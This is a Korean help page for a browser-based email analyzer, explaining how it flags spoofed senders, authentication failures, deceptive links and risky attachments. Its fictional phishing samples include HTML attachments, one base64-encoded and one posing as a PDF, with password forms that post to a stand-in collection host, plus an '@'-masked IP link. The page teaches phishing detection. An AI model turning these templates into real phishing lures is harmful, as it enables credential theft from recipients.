도메인의 SPF(10회 조회 한도 포함), DMARC, DKIM, MTA-STS, BIMI 레코드를 검사합니다.
EML 분석기
도구 자체는 영어로 되어 있지만, 이 페이지에서는 귀하의 언어로 설명해 드립니다.
EML 분석기을(를) 사용하세요
기능
.eml 파일을 끌어다 놓거나 메시지 원본을 붙여 넣어 발신자 헤더, Received 경로, 링크, 첨부 파일을 확인하세요. 모든 처리는 브라우저에서 이루어집니다.
이 서비스는 전적으로 브라우저에서 실행되며, 사용자가 입력한 내용은 전혀 업로드되지 않습니다.
EML 분석기 사용 방법
- 원본 메시지 준비. 이메일을 .eml로 저장하거나 원본을 복사합니다. Gmail은 Show original, Outlook은 View message source, Thunderbird나 Apple Mail은 View source입니다. Outlook .msg 파일은 읽지 않습니다.
- 불러오기. .eml 파일을 상자에 끌어다 놓거나 선택하거나(최대 50MB), 원본을 텍스트 필드에 붙여 넣고(최대 5MB) Analyze(분석)를 누릅니다.
- Summary 읽기. 결과는 위험 징후, 경고, 참고 사항, 통과한 검사로 분류됩니다. 각 줄에는 그 결과가 나온 헤더, 링크 또는 첨부 파일이 명시됩니다.
- 세부 내용 확인. 요약 아래에 발신자 헤더, From 도메인과 비교한 도메인들, 인증 결과, Received 경로, 모든 링크와 모든 첨부 파일이 나옵니다.
- 지표 가져가기. 필요한 지표 유형을 선택한 뒤 원본 그대로 또는 디팽된 형태로 복사하거나, .txt 파일로 다운로드하거나, Send to를 사용합니다.
예시
가상으로 만든 피싱 메시지
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"
--b1
Content-Type: text/html; charset=utf-8
<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64
PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser
Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO <billing[@]example[.]net>
RETURN-PATH <bounce[@]mailer[.]example>
TO <user[@]example[.]org>
SUBJECT Action required: verify your account
DATE Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID <4471[@]mailer[.]example>
Domains compared with the From domain
From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.
HEADER DOMAIN COMPARED WITH FROM
Reply-To example[.]net
…support@example.com을 사칭한 표시 이름, 다른 도메인의 Reply-To와 DKIM, DMARC fail, 텍스트는 www.example.com으로 보이지만 실제로는 login.example.net으로 가는 링크, 그리고 비밀번호 입력 양식이 든 invoice.pdf.html 첨부 파일이 표시됩니다.
검증 대상
| 신호 | 그 의미는 무엇인가 |
|---|---|
| 이메일 주소가 들어간 표시 이름 | 이름에는 한 주소가 보이는데 실제 발신자가 다른 주소라면 위험 징후입니다. 메일 앱은 이름만 보여 주는 경우가 많습니다. |
| 다른 도메인의 Reply-To | 경고입니다. 답장이 발신자와 다른 조직으로 가게 됩니다. |
| Authentication-Results | DMARC fail과 SPF fail은 위험 징후이고, SPF softfail과 DKIM fail은 경고입니다. 본인의 메일 제공업체가 추가한 결과만 유효합니다. |
| Return-Path 및 DKIM d= 도메인 | From 도메인과 다르면 표시됩니다. 대량 메일 서비스에서는 정상이지만, DMARC를 통과하려면 둘 중 하나는 일치(정렬)해야 합니다. |
| Received 경로 | 홉은 오래된 것부터 지연 시간과 함께 나열됩니다. 이전 홉보다 이른 타임스탬프, 1시간이 넘는 지연, "may be forged" 역방향 DNS는 표시됩니다. |
| 링크 텍스트와 실제 목적지 | 보이는 텍스트에는 한 도메인이 적혀 있는데 링크는 다른 곳으로 가거나, @ 앞의 텍스트가 실제 호스트를 숨기고 있으면 위험 징후입니다. IP 주소만 있는 링크, 퓨니코드, 단축 URL, 래핑된 링크도 표시됩니다. |
| 첨부 파일 | 이중 확장자, 코드를 실행하거나 브라우저에서 열리는 파일, 확장자와 맞지 않는 내용, 오른쪽에서 왼쪽 쓰기 재정의(RLO) 수법이 표시됩니다. 각 파일에 SHA-256, SHA-1, MD5가 계산됩니다. |
| HTML 속 양식과 스크립트 | 본문이나 첨부 파일에 비밀번호 필드가 있는 양식이 있으면 위험 징후입니다. 첨부 파일 안의 스크립트 코드는 경고입니다. |
더 많은 예시
IP 주소를 숨긴 링크
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html
<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>위험 징후 1개 "1 link: text before "@" is ignored: the real host is 203.0.113.7"(@ 앞의 텍스트는 무시되며 실제 호스트는 203.0.113.7)와 경고 1개 "1 link: link goes to a bare IP address"가 표시됩니다. Links 표에는 디팽된 주소가 텍스트 Upgrade storage 옆에 나옵니다.
PDF로 위장한 HTML 페이지
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"
--b
Content-Type: text/plain
Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"
<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--위험 징후 2개: 첨부 파일 invoice.pdf가 "contains a form with a password field"(비밀번호 필드가 있는 양식 포함)이고, "content is HTML document, not .pdf"(내용이 .pdf가 아니라 HTML 문서)입니다. 첨부 파일 카드에는 Content: HTML document와 해시 3개가 표시되고, Links 표에는 양식 전송 대상이 "form submits data to this address"와 함께 나열됩니다.
자주 묻는 질문
EML Analyzer는 무엇을 검사하나요?
헤더와 모든 MIME 파트를 디코딩하고, From, Reply-To, Return-Path, DKIM d=, Message-ID의 도메인을 비교하며, Authentication-Results를 읽습니다. 또한 Received 홉을 지연 시간과 함께, 모든 링크를 보이는 텍스트와 함께 나열하고, 각 첨부 파일의 SHA-256, SHA-1, MD5를 보여 줍니다.
이메일이 피싱이라는 것, 또는 안전하다는 것을 증명할 수 있나요?
아니요. 판정이 아니라 사실과 경고 징후를 보여 줍니다. 정상적인 대량 메일도 Return-Path나 DKIM 도메인이 다른 경우가 많으며, DKIM 서명은 나열만 할 뿐 암호학적으로 검증하지 않습니다. Outlook .msg 파일은 지원하지 않으므로 먼저 메시지를 .eml로 저장하세요.
이메일이 어딘가로 업로드되나요?
아니요. 파일은 브라우저에서 읽고 분석하며, HTML은 렌더링하지 않고 텍스트로만 표시하고, 네트워크로는 아무것도 나가지 않습니다. Send to 버튼은 브라우저의 세션 저장소(session storage)를 통해 결과를 다른 도구 페이지로 넘깁니다.
어느 Authentication-Results 헤더를 신뢰하나요?
본인의 메일 시스템이 추가한 헤더입니다. Received 경로로 이를 식별하고 "added by the recipient's server"(수신자 서버가 추가함)로 표시합니다. 메시지 아래쪽의 헤더는 발신자가 쓸 수 있으므로, 페이지는 본인 제공업체의 결과만 신뢰하라고 안내합니다.
다른 이메일에 첨부된 이메일도 열 수 있나요?
네. 첨부된 메시지는 해시와 함께 나열되며, "Analyze the attached message" 버튼으로 같은 화면에서 열 수 있습니다. "Back to the outer message"를 누르면 바깥 메시지로 돌아갑니다.
일부 IP 주소가 지표에서 빠지는 이유는 무엇인가요?
사설 주소와 로컬 주소, 그리고 수신자 자체 메일 시스템 내부의 홉은 발신자의 서버를 가리키지 않으므로 제외됩니다. 수신자 이메일 주소도 절대 포함되지 않습니다.